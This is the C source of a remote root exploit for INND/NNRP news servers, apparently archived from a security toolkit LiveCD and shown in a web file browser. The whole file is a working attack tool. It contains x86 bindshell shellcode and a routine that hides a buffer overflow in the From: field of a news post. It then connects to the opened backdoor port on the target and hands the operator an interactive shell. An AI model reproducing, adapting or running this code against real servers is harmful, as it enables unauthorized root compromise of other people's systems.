home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / nntp / innd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  332 lines
  1. /*
  2.  *          ->  PRIVATE. DO NOT USE / DO NOT DISTRIBUTE.  <-
  3.  *  
  4.  *  INND/NNRP remote root overflow
  5.  *  Affects INND/NNRP versions prior to 1.6.X.
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <ctype.h>
  12. #include <string.h>
  13. #include <memory.h>
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <sys/time.h>
  17. #include <netinet/in.h>
  18. #include <arpa/inet.h>
  19. #include <netdb.h>
  20.  
  21. /*
  22.  *  Define this if you want to send a `MODE READER` command to the remote
  23.  *  INND/NNRP server before attempting to post a message. If you get lots
  24.  *  of `syntax error` messages, try this.
  25.  */
  26. /* #define SEND_MODE_READER */
  27.  
  28. #define NNRP_PRT        119
  29. #define BD_PRT            36864
  30. #define ADDR            0xbfffe824
  31. #define RETPOS            716
  32.  
  33. char c0de[] =
  34.   "\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08"
  35.   "\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89"
  36.   "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
  37.   "\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb"
  38.   "\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0"
  39.   "\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40"
  40.   "\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08"
  41.   "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd"
  42.   "\x80\xe8\x64\xff\xff\xff";
  43.  
  44. u_long
  45. resolve_host(u_char *host_name)
  46. {
  47.     struct in_addr addr;
  48.     struct hostent *host_ent;
  49.     
  50.     addr.s_addr = inet_addr(host_name);
  51.     if (addr.s_addr == -1)
  52.     {
  53.     host_ent = gethostbyname(host_name);
  54.     if (!host_ent) return(0);
  55.     memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  56.     }
  57.     
  58.     return(addr.s_addr);
  59. }
  60.  
  61. void
  62. colombian_necktie(u_long dst_ip)
  63. {
  64.     struct sockaddr_in sin;
  65.     u_char sock_buf[4096];
  66.     fd_set fds;
  67.     int sock;
  68.     
  69.     sleep(2);
  70.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  71.     if (sock == -1)
  72.     {
  73.     perror("socket allocation");
  74.     exit(-1);
  75.     }
  76.     
  77.     sin.sin_family = AF_INET;
  78.     sin.sin_port   = htons(BD_PRT);
  79.     sin.sin_addr.s_addr = dst_ip;
  80.     
  81.     if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
  82.     {
  83.     perror("connecting to backdoor");
  84.     close(sock);
  85.     exit(-1);
  86.     }
  87.     
  88.     fprintf(stderr, "owned\n");
  89.     for (;;)
  90.     {
  91.     FD_ZERO(&fds);
  92.     FD_SET(0, &fds); /* STDIN_FILENO */
  93.     FD_SET(sock, &fds);
  94.     
  95.     if (select(255, &fds, NULL, NULL, NULL) == -1)
  96.     {
  97.         perror("select");
  98.         close(sock);
  99.         exit(-1);
  100.     }
  101.     
  102.     memset(sock_buf, 0, sizeof(sock_buf));
  103.     
  104.     if (FD_ISSET(sock, &fds))
  105.     {
  106.         if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1)
  107.         {
  108.         fprintf(stderr, "Connection closed by remote host.\n");
  109.         close(sock);
  110.         exit(0);
  111.         }
  112.         
  113.         fprintf(stderr, "%s", sock_buf);
  114.     }
  115.     
  116.     if (FD_ISSET(0, &fds))
  117.     {
  118.         read(0, sock_buf, sizeof(sock_buf));
  119.         write(sock, sock_buf, strlen(sock_buf));
  120.     }
  121.     }
  122.     
  123.     /* NOTREACHED */
  124. }
  125.  
  126. static u_char *
  127. evil_playground(u_int offset)
  128. {
  129.     static u_char predator[10000];
  130.     u_char buf[4096];
  131.     u_long addr   = ADDR + offset;
  132.     u_long retpos = RETPOS;
  133.     int i = 0, j = 0;
  134.     
  135.     memset(buf, 0x90, sizeof(buf));
  136.     memset(predator, 0, sizeof(predator));
  137.     
  138.     for (i = retpos - strlen(c0de); i < retpos; j++, i++)
  139.     {
  140.     buf[i] = c0de[j];
  141.     }
  142.     
  143.     buf[i+0] = (addr & 0xff);
  144.     buf[i+1] = (addr >> 8) & 0xff;
  145.     buf[i+2] = (addr >> 16) & 0xff;
  146.     buf[i+3] = (addr >> 24) & 0xff;
  147.     buf[i+4] = 0;
  148.     
  149.     snprintf(predator, sizeof(predator),
  150.         "group alt.dev.null\r\n"
  151.         "post\r\n"
  152.         "Subject: Breaking security r0x\r\n"
  153.         "Message-ID: <242242242242242.242@horribly.broken>\r\n"
  154.         "path: horribly!broken!shattered!hopes!insecure.fla\r\n"
  155.         "From: r00tin@%s\r\n"
  156.         "Organization: Or lack thereof\r\n"
  157.         "Newsgroups: alt.dev.null\r\n\r\n"
  158.         "We have no sekurity. Please feel free to root uz.\r\n"
  159.         ".\r\n", buf);
  160.     
  161.     return(predator);
  162. }
  163.  
  164. void
  165. recv_data(int sock)
  166. {
  167.     u_char recv_buf[4096];
  168.     
  169.     memset(recv_buf, 0, sizeof(recv_buf));
  170.     if (recv(sock, recv_buf, sizeof(recv_buf), 0) == -1)
  171.     {
  172.     perror("recv");
  173.     close(sock);
  174.     exit(-1);
  175.     }
  176.     
  177.     fprintf(stderr, "%s\n", recv_buf);
  178. }
  179.  
  180. int
  181. send_data(int sock, u_char *buf)
  182. {
  183.     int res = 0;
  184.     
  185.     res = write(sock, buf, strlen(buf));
  186.     if (res == -1)
  187.     {
  188.     perror("write");
  189.     close(sock);
  190.     exit(-1);
  191.     }
  192.     
  193.     return(res);
  194. }
  195.  
  196. void
  197. reclamation(u_long dst_ip, u_short src_prt, u_int offset)
  198. {
  199.     struct sockaddr_in sin;
  200.     u_char buf[15000];
  201.     int sock;
  202.     
  203.     memset(buf, 0, sizeof(buf));
  204.     strncpy(buf, evil_playground(offset), sizeof(buf)-1);
  205.     
  206.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  207.     if (sock == -1)
  208.     {
  209.     perror("socket allocation");
  210.     exit(-1);
  211.     }
  212.     
  213.     if (src_prt)
  214.     {
  215.     struct sockaddr_in min;
  216.     
  217.     min.sin_family = AF_INET;
  218.     min.sin_port   = htons(src_prt);
  219.     min.sin_addr.s_addr = INADDR_ANY;
  220.     
  221.     if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
  222.     {
  223.         perror("bind");
  224.         close(sock);
  225.         exit(-1);
  226.     }
  227.     }
  228.     
  229.     sin.sin_family = AF_INET;
  230.     sin.sin_port   = htons(NNRP_PRT);
  231.     sin.sin_addr.s_addr = dst_ip;
  232.     
  233.     if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
  234.     {
  235.     perror("connecting to innd daemon");
  236.     close(sock);
  237.     exit(-1);
  238.     }
  239.     
  240.     /*
  241.      *  Get the remote INND/NNRP server's banner.
  242.      */
  243.     recv_data(sock);
  244.     
  245. #ifdef SEND_MODE_READER
  246.     send_data(sock, "MODE READER\r\n");
  247.     usleep(15000);
  248.     recv_data(sock);
  249. #endif /* SEND_MODE_READER */
  250.     
  251.     /*
  252.      *  Send the news post containing the overflow in the From: field.
  253.      */
  254.     send_data(sock, buf);
  255.     
  256.     /*
  257.      *  Receive any more data the remote end iz sending.
  258.      */
  259.     sleep(2);
  260.     recv_data(sock);
  261.     
  262.     fprintf(stderr, "Overflow sent, waiting for portshell..\n");
  263.     sleep(5);
  264.     close(sock);
  265.     colombian_necktie(dst_ip);
  266.     
  267.     /* NOTREACHED */
  268. }
  269.     
  270. void
  271. usage(u_char *nomenclature)
  272. {
  273.     fprintf(stderr,
  274.         "No.\nusage:\t%s dst_host|ip [ -s src_prt ] [ -o offset ]\n",
  275.         nomenclature);
  276.     exit(-1);
  277. }
  278.  
  279. int
  280. main(int argc, char **argv)
  281. {
  282.     u_long  dst_ip     = 0;
  283.     u_short src_prt    = 0;
  284.     u_int   offset     = 0;
  285.     char    opt;
  286.     
  287.     fprintf(stderr, "INND/NNRP 1.6.X remote root overflow\n");
  288.     
  289.     if (argc < 2)
  290.     {
  291.     usage(argv[0]);
  292.     /* NOTREACHED */
  293.     }
  294.     
  295.     dst_ip = resolve_host(argv[1]);
  296.     if (!dst_ip)
  297.     {
  298.     fprintf(stderr, "What kind of address is that: `%s`?\n", argv[1]);
  299.     exit(-1);
  300.     }
  301.     
  302.     while ((opt = getopt(argc, argv, "s:o:")) != EOF)
  303.     {
  304.     switch(opt)
  305.     {
  306.         case 's':
  307.         src_prt  = (u_short)atoi(optarg);
  308.         break;
  309.         case 'o':
  310.         offset   = (u_int)atoi(optarg);
  311.         break;
  312.         default:
  313.         usage(argv[0]);
  314.         /* NOTREACHED */
  315.     }
  316.     }
  317.     
  318.     if (src_prt < 1024 && src_prt != 0)
  319.     {
  320.     if (getuid() && geteuid())
  321.     {
  322.         fprintf(stderr, 
  323.              "Inadequate privileges (source port specified: `%d`)\n", 
  324.          src_prt);
  325.         exit(-1);
  326.     }
  327.     }
  328.     
  329.     reclamation(dst_ip, src_prt, offset);
  330.     /* NOTREACHED */
  331. }
  332. /*                   www.hack.co.za   [28 September 2000]*/